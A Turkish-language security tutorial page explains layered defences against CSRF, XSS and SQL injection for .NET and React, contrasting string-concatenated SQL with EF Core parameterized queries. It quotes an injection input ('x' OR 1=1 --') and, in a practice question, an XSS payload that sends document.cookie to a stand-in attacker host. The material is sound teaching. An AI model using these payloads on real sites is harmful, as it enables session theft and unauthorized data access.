Kimlik ve güvenlik
CSRF, XSS ve injection: katman katman savunma
Üç klasik saldırı, her katmandaki karşılıkları ve neden tek bir önlemin yetmediği.
Kavramı anlayalım
CSRF (siteler arası istek sahteciliği), kullanıcının tarayıcısının otomatik gönderdiği çerezleri kötüye kullanır: başka bir site, kullanıcının oturumuyla senin sitene durum değiştiren bir istek yaptırır. Savunmalar: SameSite çerezler, durum değiştiren isteklerde Origin başlığının kontrolü ve gerektiğinde anti-forgery token’ları. GET isteklerinin durum değiştirmemesi de bu savunmanın temelidir.
XSS (siteler arası betik çalıştırma), saldırganın girdiğinin sayfada kod olarak çalışmasıdır. React metni varsayılan olarak kodlar; tehlike dangerouslySetInnerHTML, ham HTML’e izin veren Markdown ve ‘javascript:’ bağlantılarıdadır. Savunmalar: çıktıyı kodlamak, kullanıcı HTML’ini temizlemek, Content-Security-Policy başlığı ve HttpOnly çerezler.
Injection, girdinin bir sorgunun veya komutun parçası olarak yorumlanmasıdır. SQL injection’ın kesin çözümü parametreli sorgulardır; EF Core LINQ sorgularında ve FromSql’in enterpolasyonlu biçiminde değerleri otomatik parametreleştirir. Tehlike, string birleştirerek SQL üretmektir. Bu projede Markdown ham HTML çalıştırmaz ve bağlantılarda tehlikeli şemalar engellenir.
Her saldırı farklı bir katmanı hedefler; savunma da her katmanda olmalıdır.
Kullanıcı girdisini string birleştirmeyle SQL’e veya dangerouslySetInnerHTML ile sayfaya eklemek.
Aynı konu. Üç farklı derinlik.
// ✗ SQL injection
var sql = "SELECT * FROM Posts WHERE Slug = '" + slug + "'";
// slug = "x' OR 1=1 --" → bütün yazılar döner
// ✓ Parametreli (EF Core)
db.Posts.Where(p => p.Slug == slug);Parametreli sorguda değer hiçbir zaman SQL kodu olarak yorumlanmaz.
Bu sayfa gerçek bir sunucuya veya veritabanına bağlanmaz. Kod örnekleri .NET 8, Next.js ve SQL Server için temsilîdir; süreler simülasyondaki örnek değerlerdir, ölçüm değildir. Örnekleri yalnız kendi geliştirme ortamında dene; gerçek bağlantı dizesi, token veya parola paylaşma.
Önce kendin dene.
Yorum alanına şu girildi: <img src=x onerror="fetch('https://kotu.example?c='+document.cookie)">. Bir React bileşeni yorumu {comment.text} olarak gösteriyor. Ne olur? Peki dangerouslySetInnerHTML ile gösterseydi?
Çözümü ve açıklamasını göster
{comment.text}: React metni kodlar; ekranda zararsız bir yazı olarak görünür.
dangerouslySetInnerHTML: img etiketi oluşur, onerror çalışır (XSS).
HttpOnly çerezler okunamaz ama sayfa adına başka istekler yapılabilir.Varsayılan kodlamayı bypass etmek XSS kapısını açar; gerekiyorsa önce güvenilir bir temizleyiciden geçirilir.